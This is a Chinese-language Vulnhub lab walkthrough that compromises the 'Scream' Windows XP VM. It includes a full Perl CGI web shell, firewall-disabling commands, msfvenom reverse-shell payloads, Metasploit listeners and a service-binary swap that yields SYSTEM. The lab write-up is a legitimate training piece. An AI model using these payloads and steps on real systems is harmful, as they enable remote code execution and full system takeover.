【Vulnhub通关】/dev/random: Scream


准备工作

靶机基本信息

靶机名称:/dev/random: Scream

操作系统:Windows XP Professional with Service Pack 3

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机NT AUTHORITY\SYSTEM权限

下载地址:/dev/random: scream ~ VulnHub

环境配置

注:由于靶机作者制作靶机时采用的方式为使用ISO镜像修改程序将漏洞写入操作系统安装镜像,因此我们需要自行准备Windows XP操作系统的安装文件并使用镜像修改工具制作安装光盘

首先下载Windows XP操作系统的安装光盘,要求如下:

  • 32位操作系统
  • Windows XP Home/Professional Editon
  • Service Pack 2/3

(由于现在Windows XP Home操作系统的安装镜像已经很难找到,作者已经将制作好的安装光盘上传到了百度网盘。下载地址:DevRandom_Scream.iso

安装光盘下载完成之后,打开从Vulnhub官网下载的制作工具:

点击Source区块内文本输入框旁边的光盘按钮 ,选中Windows XP的安装光盘,随后将压缩包内key.txt的激活码填入Product Key内的文本输入框 ,点击Generate Image按钮,即可生成镜像文件。

镜像文件生成后,按照正常的步骤在虚拟机软件中添加Windows XP虚拟机即可。制作好的镜像无需进行手动操作即可自动安装。安装完成后,请将虚拟机的网络连接方式手动设置为桥接模式并拍摄快照


信息收集

主机探测

在Kali Linux中,我们可以使用netdiscover命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

从结果截图中可以看出,MAC厂商名为VMware, Inc.的主机即为靶机,IP地址为192.168.2.142

ICMP检测

确定了目标IP地址之后,我们可以使用ping命令检测目标是否开启了防火墙:

shell 复制代码
ping -c 10 192.168.2.142

可以发现我们根本无法Ping通主机,证明目标主机开启了系统防火墙。

目标扫描

确定了目标IP地址和防火墙情况之后,我们就可以使用nmap工具对目标进行初步的扫描。先分别探测下TCPUDP的开放端口:

shell 复制代码
# -sS    TCP SYN半开扫描
# -sU    UDP扫描
# -p-    依次探测全部端口
nmap -sS -p- 192.168.2.142
nmap -sU -p- 192.168.2.142

可以看到靶机开放了如下端口:

  • TCP端口:21、22、23、80
  • UDP端口:69

接下来进行详细扫描,探测靶机的操作系统和网络服务版本,并生成纯文本格式报告:

shell 复制代码
# -sV    扫描网络服务版本
# -A     扫描操作系统版本
# -oN    导出纯文本格式报告
nmap -sS -sV -A -p 21,22,23,80 -oN ./tcp_result.txt 192.168.2.142
nmap -sU -sV -A -p 69 -oN ./udp_result.txt 192.168.2.142

两份扫描报告截图:

从中可以整理出以下信息:

端口 传输层协议 应用层协议 详细信息
21 TCP FTP WAR-FTPD 1.65 (Name Scream XP (SP2) FTP Service)
22 TCP SSH WeOnlyDo sshd 2.1.3 (protocol 2.0)
23 TCP Telnet 暂无
69 UDP TFTP 暂无
80 TCP HTTP Tinyweb httpd 1.93

并且得知了目标操作系统为Windows XPService Pack版本为2


服务探测

FTP服务(TCP-21端口)

根据nmap的扫描结果,已经得知以下信息:

  • 靶机的FTP服务允许Anonymous账户登录
  • FTP服务中/bin/log/root三个目录
  • 靶机的FTP软件很有可能是FileZilla

在Kali Linux中打开系统自带的 Thuner文件管理器在地址栏输入ftp://192.168.2.142 ,随后在弹出的窗口中选择匿名连接并点击确定,即可连接靶机的FTP服务:

但非常遗憾,通过匿名用户无权限下载FTP中的所有文件,但得知了/root目录极有可能为HTTP服务的主目录

SSH服务(TCP-22端口)

我们通过nc可以快速确定该端口的Banner信息:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# nc 192.168.2.142 22                    
SSH-2.0-WeOnlyDo 2.1.3

除此之外也没有其它有效的信息了。

Telnet(TCP-23端口)

尝试登录:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# telnet 192.168.2.142
Trying 192.168.2.142...
Connected to 192.168.2.142.
Escape character is '^]'.
Scream Telnet Service
login: 
password: 
Login incorrect

login: 
password: 
Login incorrect

login: 
password: 
Login incorrect

Authentication failed!
Connection closed by foreign host.

尝试nmap扫描:

Text 复制代码
┌──(root㉿hacker)-[/home/hacker]
└─# nmap --script=*telnet* -p 23 192.168.2.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-07 10:40 CST
Nmap scan report for 192.168.2.142 (192.168.2.142)
Host is up (0.00027s latency).

PORT   STATE SERVICE
23/tcp open  telnet
| telnet-encryption: 
|_  Telnet server does not support encryption
| telnet-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 30 guesses in 1 seconds, average tps: 30.0
MAC Address: 00:0C:29:27:DD:7A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.66 seconds

没有发现任何有效信息。

TFTP服务(UDP-69端口)

发现该端口后尝试登录:

shell 复制代码
tftp 192.168.2.142

登录之后也没有任何返回信息,输入status,发现确实连接上了:

由于TFTP服务无法列出目录,只好新建并尝试上传了一份名为data.txt的文件,看看会不会有回传信息:

shell 复制代码
put data.txt

结果啥也没有。。。~~((ノ**T_T**)ノ┴---┴

HTTP服务(TCP-80端口)

使用火狐浏览器打开网址:http://192.168.2.142/

主页是一幅字符画,最底下有个Created by Allen Mullen的字样,然后就没了。

看看网页源代码:

也是啥也没有。。。好好好,这么玩是吧。。。

无奈之下,使用dirsearch扫描网站目录

shell 复制代码
dirsearch -u http://192.168.2.142/ -i 200,301,302,304

结果:

  • /index.html      =>     网站主页
  • data.txt        =>     这不是我刚才传的文件?????

尝试访问一下:

好家伙。。。。。

再看看FTP的/root目录:


由此可以得出结论,靶机TFTP服务的工作目录就是网站主目录.\root ,我们可以通过TFTP服务向靶机上传网页脚本程序。


渗透测试

上传CGI程序

既然我们得知了可以通过TFTP服务向靶机上传文件,那么我们就直接上传一个phpinfo脚本试试看:

shell 复制代码
touch phpinfo.php
cat "<?php phpinfo(); ?>" > ./phpinfo.php
tftp 192.168.2.142
put phpinfo.php

试试访问一下:

但是,看起来靶机的Web服务无法解析PHP程序。

这时又想起来网站目录下还有一个.\cgi-bin目录用于存放CGI程序 ,于是决定上传CGI后门程序文件。考虑到 Perl是编写CGI程序的主流语言 ,最终决定上传网上的Perl CGI后门。

shell 复制代码
tftp 192.168.2.142
put webshell.pl cgi-bin/webshell.pl

后门源代码:

Perl 复制代码
use CGI;
use Cwd;
print CGI::header( -type => 'text/html' );
my $command = CGI::param('command');
my $pwd = CGI::param('pwd') || '';
my $password = CGI::param('password');
my $filename = CGI->script_name() ;

if ( $password ne 'yourpassword' ) {
    print "Please provide a valid password.\n";
    exit(0)
}

$pwd = $pwd eq '' ? `pwd` : $pwd;
my $home = Cwd::cwd();
chdir($pwd);

my $result='';

if ($command =~ /^cd\s*(.*)/) {
  my $dir = $1 or '';
  if ($dir eq '') {
    chdir($home);
  } else {
    chdir($dir);
  }
  $pwd = Cwd::cwd(); 
  $result = `ls -la`;
} else {
  $result = `$command`;
}

print <<EOF;
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta content="text/html; charset=ISO-8859-1" http-equiv="content-type"><title>console</title>
<script>
window.onload = function(){
        document.getElementById("command").focus();
        }

</script>
<style type="text/css">
.wide1 {
border-width: thick;
width: 100%;
height: 600px;
}
.wide2 {
setFocus;
border-width: thick;
width: 100%;
}
</style>
</head><body>
<p>
Script: $filename PWD: $pwd <br/>
<textarea class="wide1" readonly="readonly" cols="1" rows="1" name="result">
$result
</textarea></p>
<form method="get" action="$filename" name="command">Command:&nbsp;
<input class="wide2" name="command" id="command"><br>
<input name="password" value="$password" type="hidden">
<input name="pwd" value="$pwd" type="hidden">
</form>
<br>
</body></html>
EOF

exit 0;

我们访问一下上传的文件:http://192.168.2.142/cgi-bin/webshell.pl?password=yourpassword这里的password参数为连接密码,可在源代码中修改

可以看到已经上传成功,试试dir命令列出当前目录:

很好,命令成功执行。

关闭Windows防火墙

由于在信息收集阶段,我们已经判断靶机很有可能存在防火墙,所以我们现在需要将其关闭,执行如下命令判断Windows防火墙是否开启:

Batch 复制代码
netsh firewall show state

可以看到系统防火墙确实开启了:

接下来将其关闭并禁用:

Batch 复制代码
net stop sharedaccess
sc config sharedaccess status= disable

然后使用ping命令测试一下:

shell 复制代码
ping -c 10 192.168.2.142

可以看到防火墙成功关闭了。

接下来我们就可以使用msfvenom生成木马并远程控制靶机了。使用如下命令生成一个反向木马:

shell 复制代码
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.142 LPORT=12000 -f exe > reverse_cmdshell.exe 

使用TFTP上传木马(必须将传输模式切换为binary,否则TFTP会上传纯文本):

shell 复制代码
tftp 192.168.2.142
binary
put reverse_cmdshell.exe cgi-bin/reverse_cmdshell.exe

接下来启动Metasploit并配置监听:

shell 复制代码
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST ***.***.*.***
set LPORT 12000
run

成功启动之后在WebShell中执行命令:start .\reverse_cmdshell.exe以执行木马程序。

连接成功!!!

查看当前用户:echo %username%

Text 复制代码
c:\www\root\cgi-bin>echo %username%
echo %username%
alex

查看用户列表和主机名:net user

Text 复制代码
c:\www\root\cgi-bin>net user
net user

User accounts for \\SCREAM

-------------------------------------------------------------------------------
Administrator            alex                     Guest                    
HelpAssistant            SUPPORT_388945a0         
The command completed successfully.

查看操作系统信息总览:systeminfo

对靶机Web服务的渗透结束,进入权限提升部分


权限提升

在渗透测试阶段,我们已经成功获得了靶机操作系统的低权限Shell。现在我们尝试进行权限提升。

我们首先尝试进入当前用户的家目录并查看所有文件:

Batch 复制代码
cd %homepath%
tree /F

可以看到alex用户的家目录下没有什么敏感文件。

尝试使用tasklist /V命令列出系统进程列表

可以看到以下几个进程是以NT AUTHORITY\SYSTEM权限运行的

  • FileZilla server.exe
  • FreeSSHDService.exe
  • OpenTFTPServerMT.exe

而且这不是我们的三个网络服务嘛!既然如此,尝试查询系统服务程序路径,先使用net start命令看看系统服务列表

基本可以判断出刚才的高权限进程对应系统服务列表中的哪几项了:

  • FileZilla server.exe    =>    FileZilla Server FTP server
  • FreeSSHDService.exe     =>    FreeSSHDService
  • OpenTFTPServerMT.exe    =>    Open TFTP Server, MultiThreaded

经过一番思考之后,决定劫持FTP服务。(因为TFTP服务是文件上传通道,最好不要搞崩;SSH服务可能等会儿要用到;只有FTP服务对目前情况来说一点用处也没有)

使用如下命令查询FTP服务的可执行文件路径:

Batch 复制代码
sc query "FileZilla Server FTP server"

但是失败了,不知为何系统找不到这个服务:

既然查询信息行不通,那就直接试试能不能停止该服务

Batch 复制代码
net stop "FileZilla Server FTP server"

成功停止服务!

接下来就是去寻找FileZilla server.exe的绝对路径 ,然后使用木马程序替换它(需要重新生成连接到本机另外一个端口的木马):

Batch 复制代码
cd C:\
dir /s | findstr "FileZilla server.exe"

可以看到FileZilla server.exe的绝对路径为:C:\Program Files\FileZilla Server\FileZilla server.exe,接下来就是上传新木马,替换FTP程序文件名,然后重启被劫持的服务啦!

使用如下命令生成新木马:

shell 复制代码
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.108 LPORT=12500 -f exe > reverse_sys_tcpshell.exe 

使用TFTP服务上传新木马:

shell 复制代码
tftp 192.168.2.142
binary
put reverse_sys_tcpshell.exe reverse_sys_tcpshell.exe

在已经获得的操作系统Shell中(12000号端口),执行如下命令劫持目标服务:

Batch 复制代码
cd C:\www\root
move ".\reverse_sys_tcpshell.exe" "C:\Program Files\FileZilla Server\reverse_sys_tcpshell.exe" 
cd "C:\Program Files\FileZilla Server\"
move "FileZilla server.exe" "FileZilla server.exe.backup"
move ".\reverse_sys_tcpshell.exe" "FileZilla server.exe"

接下来在本机执行如下命令在12500号端口启动监听:

shell 复制代码
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 192.168.2.108
set LPORT 12500
run

然后在靶机Shell中执行如下命令启动木马:

Batch 复制代码
net start "FileZilla Server FTP server"

成功!!!

使用如下命令验证当前用户:

Batch 复制代码
tasklist /V | findstr "tasklist"

本次靶机渗透到此结束

相关推荐
Lingxw_w2 小时前
【网络安全】——大端序(Big-Endian)和小端序(Little-Endian)
安全·web安全
小白学安全hhhh2 小时前
FlySecAgent:——MCP全自动AI Agent的实战利器
安全·ai·ai安全
码哝小鱼2 小时前
系统间安全复制和同步文件
linux·服务器·安全
alden_ygq2 小时前
Kubernetes生产实战(十四):Secret高级使用模式与安全实践指南
java·安全·kubernetes
_只道当时是寻常3 小时前
【网络入侵检测】基于源码分析Suricata的IP分片重组
网络·安全·网络安全·安全威胁分析
画中有画5 小时前
一种安全不泄漏、高效、免费的自动化脚本平台
运维·安全·自动化·自动化脚本
极小狐9 小时前
如何使用极狐GitLab 软件包仓库功能托管 maven?
java·运维·数据库·安全·c#·gitlab·maven
Codingwiz_Joy16 小时前
Day28 -js开发01 -JS三个实例:文件上传 & 登录验证 & 购物商城 & ---逻辑漏洞复现 及 判断js的payload思路
开发语言·javascript·安全·安全性测试
琢磨先生David19 小时前
Java 24:重构数字信任边界 —— 后量子时代的智能安全防御体系构建
java·安全·重构
鼾声鼾语1 天前
Nvidia Isaac Sim组装机器人和添加传感器,创建关节树Articulation
运维·算法·安全·机器人·angular.js